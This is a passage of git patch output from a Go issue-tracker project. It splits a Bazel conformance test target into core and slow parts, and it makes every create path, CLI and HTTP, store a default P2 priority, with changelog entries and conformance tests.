scripts/ci_workflow_test.go | 43 ++++++++++++++++++++--- scripts/pr_risk_bazel_coverage_test.go | 8 +++-- 4 files changed, 79 insertions(+), 8 deletions(-) diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 632b264d0..eeb98a410 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1399,6 +1399,7 @@ jobs: --suite //cmd/bd:bd_embedded_part2_test .github/scripts/embedded-test-shard.sh 50@50/100 --suite //internal/storage/embeddeddolt:embeddeddolt_embedded_test .github/scripts/embedded-storage-test-shard.sh 40 --whole //internal/storage/embeddeddolt:embeddeddolt_conformance_core_test + --whole //internal/storage/embeddeddolt:embeddeddolt_conformance_core_slow_test --whole //internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test - name: Upload test logs diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index 7997a0f13..474d6cc45 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -315,7 +315,13 @@ sh_test( ) # PR Risk's "Test (Embedded Dolt Conformance - core)" job: conformance.RunAll -# except its Audit group, with the job's binary flags but -test.timeout. +# except its Audit group, with the job's binary flags but -test.timeout. It +# runs as two targets: this one skips Audit and the groups +# embeddeddolt_conformance_core_slow_test (below) runs, so the two run every +# core group exactly once between them (a group added to RunAll lands here). +# As one action it took 108-150s on rbe-west, ~half of it those two groups. +# Every RunAll group builds its own store from the factory, so the split +# shares no state. # # Tags: # embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, @@ -335,7 +341,32 @@ sh_test( "-test.count=1", "-test.timeout=19m", "-test.run=^TestConformance$$", - "-test.skip=^TestConformance$$/^Audit$$", + "-test.skip=^TestConformance$$/^(Audit|ReadyCountsPageChunking|Portable)$$", + ], + data = [":embeddeddolt_test"], + env = {"BEADS_TEST_EMBEDDED_DOLT": "1"}, + tags = ["embedded"], +) + +# The slow groups of the core conformance partition (see +# embeddeddolt_conformance_core_test, which skips exactly these): +# ReadyCountsPageChunking (~33s) and Portable (~20s) under -race. +# +# Tags: +# embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, +# selected by --config=embedded. +sh_test( + name = "embeddeddolt_conformance_core_slow_test", + size = "large", + # -test.timeout=19m: as embeddeddolt_conformance_core_test. + timeout = "eternal", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = [ + "$(rootpath :embeddeddolt_test)", + "-test.v", + "-test.count=1", + "-test.timeout=19m", + "-test.run=^TestConformance$$/^(ReadyCountsPageChunking|Portable)$$", ], data = [":embeddeddolt_test"], env = {"BEADS_TEST_EMBEDDED_DOLT": "1"}, diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index cabb5ed54..5775326b9 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -4393,12 +4393,32 @@ func TestBazelEmbeddedJobRunsEmbeddedTier(t *testing.T) { } // The retired test-embedded-conformance job's two partitions, frozen. + // Core runs as two targets: embeddeddolt_conformance_core_test runs the + // job's core selector but also skips conformanceCoreSlowGroups, which + // embeddeddolt_conformance_core_slow_test runs instead, so between them + // they run every core group exactly once. conformance := map[string]string{ "core": `/tmp/embeddeddolt-test -test.v -test.count=1 -test.timeout=30m -test.run '^TestConformance$' -test.skip '^TestConformance$/^Audit$'`, "audit": `/tmp/embeddeddolt-test -test.v -test.count=1 -test.timeout=30m -test.run '^TestConformance$/^Audit$'`, } + slow := strings.Join(conformanceCoreSlowGroups, "|") + // What each target's rule must say instead of the job's own selector. + retarget := map[string]map[string]string{ + "embeddeddolt_conformance_core_test": { + `"-test.skip=^TestConformance$$/^Audit$$",`: `"-test.skip=^TestConformance$$/^(Audit|` + slow + `)$$",`, + }, + "embeddeddolt_conformance_core_slow_test": { + `"-test.run=^TestConformance$$",`: `"-test.run=^TestConformance$$/^(` + slow + `)$$",`, + `"-test.skip=^TestConformance$$/^Audit$$",`: "", + }, + } quoted := regexp.MustCompile(`(-test\.[a-z]+) '([^']*)'|(-test\.[a-z]+=\S+|-test\.v)`) - for partition, target := range map[string]string{"core": "embeddeddolt_conformance_core_test", "audit": "embeddeddolt_conformance_audit_test"} { + for _, c := range []struct{ partition, target string }{ + {"core", "embeddeddolt_conformance_core_test"}, + {"core", "embeddeddolt_conformance_core_slow_test"}, + {"audit", "embeddeddolt_conformance_audit_test"}, + } { + partition, target := c.partition, c.target run := conformance[partition] fields := strings.Fields(run) if len(fields) == 0 || fields[0] != "/tmp/embeddeddolt-test" { @@ -4406,15 +4426,22 @@ func TestBazelEmbeddedJobRunsEmbeddedTier(t *testing.T) { } var want []string for _, m := range quoted.FindAllStringSubmatch(run, -1) { + var w string switch { case m[1] != "": - want = append(want, `"`+m[1]+"="+strings.ReplaceAll(m[2], "$", "$$")+`",`) + w = `"` + m[1] + "=" + strings.ReplaceAll(m[2], "$", "$$") + `",` case strings.HasPrefix(m[3], "-test.timeout="): // Documented deviation: Bazel kills at 1200s without a // goroutine dump, so the variant's Go timeout is 19m. - want = append(want, `"-test.timeout=19m",`) + w = `"-test.timeout=19m",` default: - want = append(want, `"`+m[3]+`",`) + w = `"` + m[3] + `",` + } + if r, ok := retarget[target][w]; ok { + w = r + } + if w != "" { + want = append(want, w) } } if len(want) < 4 { @@ -4429,6 +4456,14 @@ func TestBazelEmbeddedJobRunsEmbeddedTier(t *testing.T) { } } +// conformanceCoreSlowGroups are the conformance.RunAll groups +// embeddeddolt_conformance_core_slow_test runs and +// embeddeddolt_conformance_core_test skips. The core target skips only these +// names, so a group renamed or added in RunAll still runs there: a name here +// that RunAll no longer has matches nothing in either target and loses no +// group, only the split (core gets slower again). +var conformanceCoreSlowGroups = []string{"ReadyCountsPageChunking", "Portable"} + // bazel-pure replaces pr.yml's check-cmd-bd-puregeo-tests job: the same pure // cmd/bd test selector, the same pure build set, and the js/wasm hook test // under the same exact-count guard. diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 0a57f6785..c2e206425 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -344,7 +344,7 @@ func TestBazelRetiredLanesCheckListedTestsRan(t *testing.T) { // The cmd/bd block is split over embeddedCmdTargets: one // --suite each, SHARDS@OFFSET/TOTAL (added below). {"test-embedded-storage", "Test", "//internal/storage/embeddeddolt:embeddeddolt_embedded_test", ".github/scripts/embedded-storage-test-shard.sh", -1}, - }, []string{"//internal/storage/embeddeddolt:embeddeddolt_conformance_core_test", "//internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test"}}, + }, []string{"//internal/storage/embeddeddolt:embeddeddolt_conformance_core_test", "//internal/storage/embeddeddolt:embeddeddolt_conformance_core_slow_test", "//internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test"}}, {bazelProxiedJobName, "doltserver-proxied", []suite{ // bazel-proxied runs its own duration-balanced manifest block // (scripts/ci/proxied_test_durations.json), not PR Risk's frozen @@ -874,7 +874,11 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { map[string]string{"BEADS_TEST_EMBEDDED_DOLT": "1"}, }, "//internal/storage/embeddeddolt:embeddeddolt_conformance_core_test": { - []string{"$(rootpath :embeddeddolt_test)", "-test.v", "-test.count=1", "-test.timeout=19m", "-test.run=^TestConformance$$", "-test.skip=^TestConformance$$/^Audit$$"}, + []string{"$(rootpath :embeddeddolt_test)", "-test.v", "-test.count=1", "-test.timeout=19m", "-test.run=^TestConformance$$", "-test.skip=^TestConformance$$/^(Audit|ReadyCountsPageChunking|Portable)$$"}, + map[string]string{"BEADS_TEST_EMBEDDED_DOLT": "1"}, + }, + "//internal/storage/embeddeddolt:embeddeddolt_conformance_core_slow_test": { + []string{"$(rootpath :embeddeddolt_test)", "-test.v", "-test.count=1", "-test.timeout=19m", "-test.run=^TestConformance$$/^(ReadyCountsPageChunking|Portable)$$"}, map[string]string{"BEADS_TEST_EMBEDDED_DOLT": "1"}, }, "//internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test": { From 1f1e82ab083b7ff6e9876d847a39a1e837d5f680 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sat, 10 Oct 2026 01:37:27 +0000 Subject: [PATCH 089/213] fix(issueops): one default priority for every create path (#7426) * fix(issueops): one create priority default; HTTP absent priority is P2 The CLI defaulted `bd create` to P2, but issues:create, issues:batchCreate and batch:apply create items left Issue.Priority at 0 when `priority` was absent, so a gc/curl create stored P0 (critical) against the spec's "absent means the default". The default now lives in one place, the shared create preparation (PreparePublicCreateRequest), behind a presence flag because Issue.Priority's zero value is P0: - issueops.CreateRequest.DefaultPriority, BatchCreateItem.DefaultPriority and CreateItem.DefaultPriority ask for issueops.DefaultCreatePriority (2); setting it with a non-zero priority is ErrValidation (ValidateCreatePriority, shared with the HTTP client); - every Lifecycle.Create, BatchCreator and BatchApplier leg (dolt, embedded, uow) reaches it; CloneCreateBatchRequest now keeps scalar item members; - the three handlers set the flag for an absent member and never make up 0; the HTTP client omits `priority` for it (wirePriority) only when the server advertises the new additive issues.create.defaultPriority token, read from the cached handshake before the dial; an older server reads an absent priority as P0, so the client sends DefaultCreatePriority (2) explicitly to it (pinCreateDefaultPriority). An explicit 0 is still sent; - `bd create` without --priority, `bd create --graph` nodes without priority and `bd create --file` templates without ### Priority rely on the flag; the flag's displayed default and the dry-run previews read the library constant. CLI output is byte-identical (checked against origin/main). Spec: the three priority descriptions now say the create default is P2 on a server advertising issues.create.defaultPriority (apigen regenerated); the wireshape golden already had priority optional, so no wire-shape change. Conformance: RunLifecycleCreateAppliesTheDefaultPriority, RunBatchCreatorAppliesTheDefaultPriority and RunBatchApplyAppliesTheDefaultPriority on dolt, embedded, uow and http, plus handler and client encoding tests, and TestCreateSendsTheDefaultPriorityToAServerThatPredatesIt (new client, handshake without the token: all three create roles send 2). Co-Authored-By: Claude Opus 5.5 * fix(issueops): apply review fixups for the default create priority (bd-kb61wg) Apply the minor and nit findings from the review of #7426: - CHANGELOG: tell out-of-tree storage backends they must honor DefaultPriority (store issueops.DefaultCreatePriority, refuse it with a non-zero priority as ErrValidation) and which conformance cases check it; scope "CLI output is unchanged" to the in-tree backends. - bd create --file: pin the default-priority path. The e2e test asserts the printed priorities, and a buildMarkdownBatchRequest unit test pins the flag and priority for an absent, a 0 and a 1 `### Priority`. Deleting `DefaultPriority: !template.PrioritySet` now fails both. - bd create --file: warn on stderr about a `### Priority` that does not parse, as the `### Type` case already does, instead of dropping it silently. - httpclient: document pinCreateDefaultPriority's same-build assumption (the handshake is cached per Store, so a stale one is silent here), and test its no-context and failed-handshake branches on all three roles. - Formula steps, `bd q` and `bd todo add` spell issueops.DefaultCreatePriority instead of the literal 2. - Conformance: the batch-creator and batch-apply default-priority cases also pin DefaultPriority with a non-zero priority as ErrValidation with nothing written. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 * fix(issueops): mark the out-of-tree DefaultPriority change BREAKING (bd-0tcn1o) Apply the minor findings from the relaunch review of #7426: - CHANGELOG: move the obligation on out-of-tree storage backends out of the `### Fixed` entry into its own `### Changed` entry, led by "BREAKING (out-of-tree storage backends)" as the close-guard change and the earlier out-of-tree contract changes are; RELEASING.md asks breaking changes to carry their migration. The entry says what such a backend used to receive from `bd create`, `--graph` and `--file` (priority 2), what it receives now (priority 0 with DefaultPriority set), the migration, and the conformance cases that check it. The `### Fixed` entry keeps the HTTP P2 fix, points at the new entry, and names the stale-handshake residual that only a code comment named: a create that lands on an older build behind the same URL still stores P0. - bd cook: the proto root, the gate issue and the cooked formula root spell issueops.DefaultCreatePriority instead of the literal 2, as the formula steps in the same file already do. No behavior change. Not taken: - The literal 2s in create_form.go, gate.go and linear.go, and the "default 2" in todo.go's --priority help: explicit P2s outside the migrated paths (the help string also feeds the generated CLI reference). Left for a follow-up sweep. - Reusing in.priorityDefault in the direct bd create route: that route builds no createInput (gatherCreateInput runs only on the proxied and --file routes, and each returns), so there is nothing to reuse. - A member-level range check in the single-create HTTP decode, as the batch shapes have: the asymmetry predates this PR, and the role still refuses an out-of-range priority on all three shapes. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 --- CHANGELOG.md | 40 ++++ backend/conformance/batch_apply_contract.go | 45 ++++ backend/conformance/batch_creator_contract.go | 60 +++++ .../conformance/lifecycle_create_contract.go | 51 +++++ backend/conformance/role_bundle_cases.go | 3 + cmd/bd/cook.go | 9 +- cmd/bd/create.go | 25 +- cmd/bd/create_input.go | 2 + cmd/bd/create_markdown_batch_test.go | 7 + cmd/bd/create_proxied_server.go | 7 +- cmd/bd/create_proxied_server_test.go | 13 +- cmd/bd/graph_apply.go | 24 +- cmd/bd/graph_apply_test.go | 27 +++ cmd/bd/markdown.go | 35 ++- cmd/bd/markdown_test.go | 75 ++++++ cmd/bd/quick.go | 4 +- cmd/bd/todo.go | 3 +- internal/httpapi/BUILD.bazel | 1 + internal/httpapi/apigen/types.gen.go | 8 +- internal/httpapi/batch_apply.go | 4 +- internal/httpapi/batch_create.go | 4 +- internal/httpapi/create.go | 4 + internal/httpapi/create_priority_test.go | 99 ++++++++ internal/httpapi/routes.go | 10 +- internal/httpapi/server_test.go | 2 +- internal/httpapi/spec/openapi.v0.yaml | 27 ++- internal/httpclient/BUILD.bazel | 1 + internal/httpclient/batchapplier.go | 20 +- internal/httpclient/batchcreator.go | 20 +- internal/httpclient/bulk_roles_test.go | 4 +- internal/httpclient/create_priority_test.go | 215 ++++++++++++++++++ internal/httpclient/lifecycle.go | 74 +++++- internal/httpclient/lifecycle_create_test.go | 2 +- .../httpclient/served_batch_apply_test.go | 4 + internal/httpclient/served_bulk_test.go | 4 + .../served_lifecycle_create_test.go | 4 + internal/httpclient/wire/handshake.go | 11 +- internal/httpclient/wire/vocabulary_test.go | 4 +- internal/httpclient/write_ledger_test.go | 21 +- .../storage/dolt/batch_apply_contract_test.go | 5 + .../dolt/batch_creator_contract_test.go | 3 + .../dolt/lifecycle_create_contract_test.go | 3 + .../embeddeddolt/batch_apply_contract_test.go | 3 + .../batch_creator_contract_test.go | 3 + .../lifecycle_create_contract_test.go | 3 + internal/storage/issueops/batch_apply.go | 7 +- internal/storage/issueops/create_batch.go | 18 +- internal/storage/issueops/public_create.go | 25 ++ internal/storage/uow/batch_applier.go | 7 +- .../storage/uow/batch_apply_contract_test.go | 3 + .../uow/batch_creator_contract_test.go | 3 + .../uow/lifecycle_create_contract_test.go | 3 + issueops/batchapplier.go | 3 + issueops/batchcreator.go | 2 + issueops/issueops.go | 15 ++ 55 files changed, 1000 insertions(+), 79 deletions(-) create mode 100644 internal/httpapi/create_priority_test.go create mode 100644 internal/httpclient/create_priority_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 5477be6ae..6b52a5b5a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -230,6 +230,24 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 pinned issues or beads another actor holds must send `force` (`Force` on the request), or reclaim the bead first; the close operations never close a template, forced or not (pour it instead). +- **BREAKING (out-of-tree storage backends): a create without a priority now + arrives as priority 0 with `DefaultPriority` set.** `bd create` without + `--priority`, a `bd create --graph` node without `priority` and a + `bd create --file` template without a valid `### Priority` used to reach a + backend's `IssueLifecycle().Create`, `BatchCreator().CreateBatch` and + `BatchApplier().ApplyBatch` as priority 2. They now arrive as priority 0 + with `issueops.CreateRequest.DefaultPriority` (or `BatchCreateItem` / + `CreateItem.DefaultPriority`) set, as does an HTTP create without + `priority` when `bd serve` fronts the backend. The fields are additive, so + such a backend compiles unchanged, but the shared preparation that applies + the default lives under `internal/`, so a backend that ignores the flag now + stores P0 (critical) for those `bd create` paths, and still stores P0 for + that HTTP create. Migration: store `issueops.DefaultCreatePriority` when + `DefaultPriority` is set, and refuse `DefaultPriority` with a non-zero + priority as `ErrValidation`; `conformance.RunRoleContracts` checks both + through `RunLifecycleCreateAppliesTheDefaultPriority`, + `RunBatchCreatorAppliesTheDefaultPriority` and + `RunBatchApplyAppliesTheDefaultPriority`. ### Fixed - **An update of a template is now refused for every caller, not only @@ -279,6 +297,28 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 stored (a `bd create --parent` child) an HTTP caller now gets that 400 where it used to get 409 `dependency_cycle` (a blocking type) or `dependency_exists` (any other type). +- An HTTP create (`issues:create`, `issues:batchCreate`, a `batch:apply` + create item) that omits `priority` now stores the create default, P2, as the + spec documents, instead of P0 (critical). The default lives in one place: + `issueops.CreateRequest.DefaultPriority` (and `BatchCreateItem` / + `CreateItem.DefaultPriority`) asks the shared create preparation to store + `issueops.DefaultCreatePriority`; the handlers set it for an absent member, + the HTTP client omits `priority` for it only when the server advertises the + new additive `issues.create.defaultPriority` handshake token (an older + `bd serve` reads an absent `priority` as P0, so a new client sends `2` + explicitly to it), and `bd create` (no `--priority`), + `bd create --graph` (a node without `priority`) and `bd create --file` (a + template without `### Priority`) rely on it rather than spelling 2. An + explicit `0` is still P0, and `DefaultPriority` with a non-zero priority is + `ErrValidation`. CLI output is unchanged on the in-tree backends, except + that `bd create --file` now warns on stderr about a `### Priority` it cannot + parse, as it already did for `### Type`, rather than dropping it silently. + The client decides from the handshake its store cached (once per command + in `bd`), so a create that lands on an older build behind the same URL (a + `bd serve` rolled back under a live store, or mixed builds during a + rollout) still stores P0, with no error on either side. + Out-of-tree storage backends must now honor `DefaultPriority`; see the + BREAKING (out-of-tree storage backends) entry under `### Changed`. - **PRs based on `hotfix/**` branches now run full CI, not just cross-version historical smokes and triage labeling.** `pr.yml`, `pr-risk.yml`, `conformance.yml`, `cross-version-smoke.yml` and diff --git a/backend/conformance/batch_apply_contract.go b/backend/conformance/batch_apply_contract.go index f6480e47a..6c173022a 100644 --- a/backend/conformance/batch_apply_contract.go +++ b/backend/conformance/batch_apply_contract.go @@ -2734,3 +2734,48 @@ func RunBatchApplyRefusesADottedChildGatedOnItsOwnParent(t *testing.T, ctx conte } assertBatchApplyEdgeCount(t, ctx, fixture, child, parent, 1) } + +// RunBatchApplyAppliesTheDefaultPriority pins CreateItem.DefaultPriority: a +// create item that asks for the default stores publicops.DefaultCreatePriority, +// and one naming priority 0 stores P0. `bd create --graph` sends a node without +// a priority this way, and so does an HTTP batch apply create item without one. +// A create item asking for the default while naming a priority is +// ErrValidation and writes nothing, as it is for Lifecycle.Create. +func RunBatchApplyAppliesTheDefaultPriority(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { + t.Helper() + unset := batchApplyMintedIssue("defaulted") + unset.Priority = 0 + zero := batchApplyMintedIssue("critical") + zero.Priority = 0 + result := batchApplyMust(t, ctx, fixture, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []publicops.ApplyItem{ + {Kind: publicops.ItemCreate, Create: &publicops.CreateItem{Key: "d", Issue: unset, DefaultPriority: true}}, + {Kind: publicops.ItemCreate, Create: &publicops.CreateItem{Key: "z", Issue: zero}}, + }, + }) + for key, want := range map[string]int{"d": publicops.DefaultCreatePriority, "z": 0} { + id := result.Keys[key] + if id == "" { + t.Fatalf("key %q bound no id: %v", key, result.Keys) + } + if got := batchApplyCount(t, ctx, fixture, "SELECT priority FROM issues WHERE id = ?", []any{id}); got != want { + t.Errorf("stored priority of %s (%s) = %d, want %d", key, id, got, want) + } + } + + conflict := fixture.IssuePrefix + "-prio-conflict" + clash := batchApplyIssue(conflict, conflict) + clash.Priority = 3 + _, err := fixture.BatchApplier.ApplyBatch(ctx, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + ForceIDPrefix: true, + Items: []publicops.ApplyItem{ + {Kind: publicops.ItemCreate, Create: &publicops.CreateItem{Key: "c", Issue: clash, DefaultPriority: true}}, + }, + }) + if !errors.Is(err, publicops.ErrValidation) { + t.Fatalf("DefaultPriority with priority 3: err = %v, want ErrValidation", err) + } + assertBatchApplyRowCount(t, ctx, fixture, "issues", conflict, 0) +} diff --git a/backend/conformance/batch_creator_contract.go b/backend/conformance/batch_creator_contract.go index 0b48334f0..91353d348 100644 --- a/backend/conformance/batch_creator_contract.go +++ b/backend/conformance/batch_creator_contract.go @@ -689,3 +689,63 @@ func batchCreatorHistoryCount(t *testing.T, ctx context.Context, fixture BatchCr } return entries } + +// RunBatchCreatorAppliesTheDefaultPriority pins BatchCreateItem.DefaultPriority: +// an item that asks for the default stores publicops.DefaultCreatePriority, and +// an item naming priority 0 stores P0 in the same batch. The default is +// Lifecycle.Create's, applied in the shared preparation, so an HTTP +// batchCreate without `priority` and a `bd create --file` template without one +// land the same row. An item asking for the default while naming a priority is +// ErrValidation and writes nothing, as it is for Lifecycle.Create. +func RunBatchCreatorAppliesTheDefaultPriority(t *testing.T, ctx context.Context, fixture BatchCreatorFixture) { + t.Helper() + // Minted ids and an unset status, so the case asks nothing of the items + // but their priority — the http wire's batch item has no id or status slot. + unset := &types.Issue{Title: fixture.IssuePrefix + " defaulted", IssueType: types.TypeTask} + zero := &types.Issue{Title: fixture.IssuePrefix + " critical", IssueType: types.TypeTask} + + result, err := fixture.BatchCreator.CreateBatch(ctx, publicops.CreateBatchRequest{ + Actor: "batch-writer", + Items: []publicops.BatchCreateItem{ + {Issue: unset, DefaultPriority: true}, + {Issue: zero}, + }, + }) + if err != nil { + t.Fatalf("CreateBatch: %v", err) + } + if len(result.Issues) != 2 || result.Issues[0] == nil || result.Issues[1] == nil { + t.Fatalf("result = %v, want two created issues", result.Issues) + } + for i, want := range []int{publicops.DefaultCreatePriority, 0} { + created := result.Issues[i] + if created.Priority != want { + t.Errorf("item %d result priority = %d, want %d", i, created.Priority, want) + } + var got int + if err := fixture.QueryScalar(ctx, "SELECT priority FROM issues WHERE id = ?", []any{created.ID}, &got); err != nil { + t.Fatalf("read priority of %s: %v", created.ID, err) + } + if got != want { + t.Errorf("item %d stored priority = %d, want %d", i, got, want) + } + } + + conflict := fixture.IssuePrefix + " conflicting" + _, err = fixture.BatchCreator.CreateBatch(ctx, publicops.CreateBatchRequest{ + Actor: "batch-writer", + Items: []publicops.BatchCreateItem{ + {Issue: &types.Issue{Title: conflict, Priority: 3, IssueType: types.TypeTask}, DefaultPriority: true}, + }, + }) + if !errors.Is(err, storage.ErrValidation) { + t.Fatalf("DefaultPriority with priority 3: err = %v, want ErrValidation", err) + } + var stored int + if err := fixture.QueryScalar(ctx, "SELECT COUNT(*) FROM issues WHERE title = ?", []any{conflict}, &stored); err != nil { + t.Fatalf("count issues titled %q: %v", conflict, err) + } + if stored != 0 { + t.Errorf("issues titled %q after the conflicting priority batch = %d, want 0", conflict, stored) + } +} diff --git a/backend/conformance/lifecycle_create_contract.go b/backend/conformance/lifecycle_create_contract.go index ca906424a..ae1efb1b1 100644 --- a/backend/conformance/lifecycle_create_contract.go +++ b/backend/conformance/lifecycle_create_contract.go @@ -804,3 +804,54 @@ func lifecycleCreatePlaneName(ephemeral bool) string { } return "durable" } + +// RunLifecycleCreateAppliesTheDefaultPriority pins +// CreateRequest.DefaultPriority: a create that asks for the default stores +// publicops.DefaultCreatePriority, and one that names priority 0 stores P0 — +// the zero value is a real priority, never "absent". Asking for the default +// while naming a priority is ErrValidation and writes nothing. +// +// It is the one place the default lives: `bd create` without --priority and an +// HTTP create without `priority` both reach it through this flag, so a backend +// that dropped it would store P0 (critical) for every such create. +func RunLifecycleCreateAppliesTheDefaultPriority(t *testing.T, ctx context.Context, fixture LifecycleCreateFixture) { + t.Helper() + defaulted := fixture.IssuePrefix + "-prio-default" + critical := fixture.IssuePrefix + "-prio-zero" + conflict := fixture.IssuePrefix + "-prio-conflict" + + for _, tc := range []struct { + id string + priority int + useDefault bool + want int + }{ + {id: defaulted, useDefault: true, want: publicops.DefaultCreatePriority}, + {id: critical, priority: 0, want: 0}, + } { + created, err := fixture.Lifecycle.Create(ctx, publicops.CreateRequest{ + Actor: "writer", + DefaultPriority: tc.useDefault, + Issue: &types.Issue{ID: tc.id, Title: tc.id, Priority: tc.priority, IssueType: types.TypeTask}, + }) + if err != nil { + t.Fatalf("create %s: %v", tc.id, err) + } + if created.Issue.Priority != tc.want { + t.Errorf("create %s result priority = %d, want %d", tc.id, created.Issue.Priority, tc.want) + } + if got := lifecycleCreateRow(t, ctx, fixture, tc.id).Priority; got != tc.want { + t.Errorf("stored %s priority = %d, want %d", tc.id, got, tc.want) + } + } + + _, err := fixture.Lifecycle.Create(ctx, publicops.CreateRequest{ + Actor: "writer", + DefaultPriority: true, + Issue: &types.Issue{ID: conflict, Title: conflict, Priority: 3, IssueType: types.TypeTask}, + }) + if !errors.Is(err, storage.ErrValidation) { + t.Fatalf("DefaultPriority with priority 3: err = %v, want ErrValidation", err) + } + assertLifecycleCreateAbsent(t, ctx, fixture, conflict, "after the conflicting priority create") +} diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index 0555b19a5..782a20306 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -62,6 +62,7 @@ var roleContractCases = []roleContract{ RunBatchApplySplicesTheMetadataOfATemplateItCreates, RunBatchApplyCloseItemsAnswerToTheCloseGuards, RunBatchApplyRefusesADottedChildGatedOnItsOwnParent, + RunBatchApplyAppliesTheDefaultPriority, ), roleCases("BatchCloser", "BatchCloser()", oncePerRole, @@ -104,6 +105,7 @@ var roleContractCases = []roleContract{ RunBatchCreatorRecordsNoHistoryForAnEphemeralBatch, RunBatchCreatorDoesNotMutateTheCallerRequest, RunBatchCreatorEchoesSubSecondTimestamps, + RunBatchCreatorAppliesTheDefaultPriority, ), roleCases("BlockingAnnotator", "BlockingAnnotator()", oncePerRole, @@ -459,6 +461,7 @@ var roleContractCases = []roleContract{ RunLifecycleCreateInheritsParentLabels, RunLifecycleCreateWritesEveryScalarField, RunLifecycleCreateEchoesSubSecondTimestamps, + RunLifecycleCreateAppliesTheDefaultPriority, ), roleCases("LifecycleUpdate", "IssueLifecycle()", oncePerRole, diff --git a/cmd/bd/cook.go b/cmd/bd/cook.go index 6e94309b0..853b90a67 100644 --- a/cmd/bd/cook.go +++ b/cmd/bd/cook.go @@ -14,6 +14,7 @@ import ( "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/ui" + "github.com/steveyegge/beads/issueops" ) // stepTypeToIssueType converts a formula step type string to a types.IssueType. @@ -454,7 +455,7 @@ func cookFormulaToSubgraph(f *formula.Formula, protoID string) (*TemplateSubgrap Title: rootTitle, Description: rootDesc, Status: types.StatusOpen, - Priority: 2, + Priority: issueops.DefaultCreatePriority, IssueType: types.TypeMolecule, IsTemplate: true, CreatedAt: time.Now(), @@ -512,7 +513,7 @@ func createGateIssue(step *formula.Step, parentID string) *types.Issue { Title: title, Description: fmt.Sprintf("Async gate for step %s", step.ID), Status: types.StatusOpen, - Priority: 2, + Priority: issueops.DefaultCreatePriority, IssueType: "gate", AwaitType: step.Gate.Type, AwaitID: awaitID, @@ -568,7 +569,7 @@ func processStepToIssue(step *formula.Step, parentID string) *types.Issue { } // Determine priority - priority := 2 + priority := issueops.DefaultCreatePriority if step.Priority != nil { priority = *step.Priority } @@ -969,7 +970,7 @@ func cookFormula(ctx context.Context, s storage.DoltStorage, f *formula.Formula, Title: rootTitle, Description: rootDesc, Status: types.StatusOpen, - Priority: 2, + Priority: issueops.DefaultCreatePriority, IssueType: types.TypeMolecule, IsTemplate: true, CreatedAt: time.Now(), diff --git a/cmd/bd/create.go b/cmd/bd/create.go index 38692d287..4c2004882 100644 --- a/cmd/bd/create.go +++ b/cmd/bd/create.go @@ -8,6 +8,7 @@ import ( "os" "path/filepath" "sort" + "strconv" "strings" "time" @@ -165,6 +166,10 @@ var createCmd = &cobra.Command{ if err != nil { return HandleError("%v", err) } + // No --priority asks the role for its default (CreateRequest. + // DefaultPriority). The flag's displayed default is that same library + // constant, so the dry-run preview below still shows what will land. + priorityDefault := !cmd.Flags().Changed("priority") issueType, _ := cmd.Flags().GetString("type") assignee, _ := cmd.Flags().GetString("assignee") @@ -567,14 +572,18 @@ var createCmd = &cobra.Command{ // Label inheritance stays CLI-side (mergeCreateLabels above) because the // dry-run preview needs it too; asking the facade to inherit as well // would append the parent's labels a second time. + if priorityDefault { + issue.Priority = 0 + } result, err := ops.Create(opsCtx, issueops.CreateRequest{ - Actor: currentActor(), - Issue: issue, - ParentID: parentID, - Dependencies: createDependencyRequests(depSpecs), - WaitsFor: waitsForRequest(waitsForSpec), - ForceIDPrefix: forceCreate, - IDPrefix: createIDPrefixOverride(), + Actor: currentActor(), + Issue: issue, + ParentID: parentID, + Dependencies: createDependencyRequests(depSpecs), + WaitsFor: waitsForRequest(waitsForSpec), + ForceIDPrefix: forceCreate, + IDPrefix: createIDPrefixOverride(), + DefaultPriority: priorityDefault, }) if err != nil { // RULING R1: an occupied --id is a refusal, not a silent full-row @@ -910,7 +919,7 @@ func init() { createCmd.Flags().String("title", "", "Issue title (alternative to positional argument)") createCmd.Flags().Bool("silent", false, "Output only the issue ID (for scripting)") createCmd.Flags().Bool("dry-run", false, "Preview what would be created without actually creating") - registerPriorityFlag(createCmd, "2") + registerPriorityFlag(createCmd, strconv.Itoa(issueops.DefaultCreatePriority)) createCmd.Flags().StringP("type", "t", "task", "Issue type (bug|feature|task|epic|chore|decision|spike|story|milestone); custom types require types.custom config; aliases: enhancement/feat→feature, dec/adr→decision") createCmd.Flags().StringP("status", "s", "", "Initial status") registerCommonIssueFlags(createCmd) diff --git a/cmd/bd/create_input.go 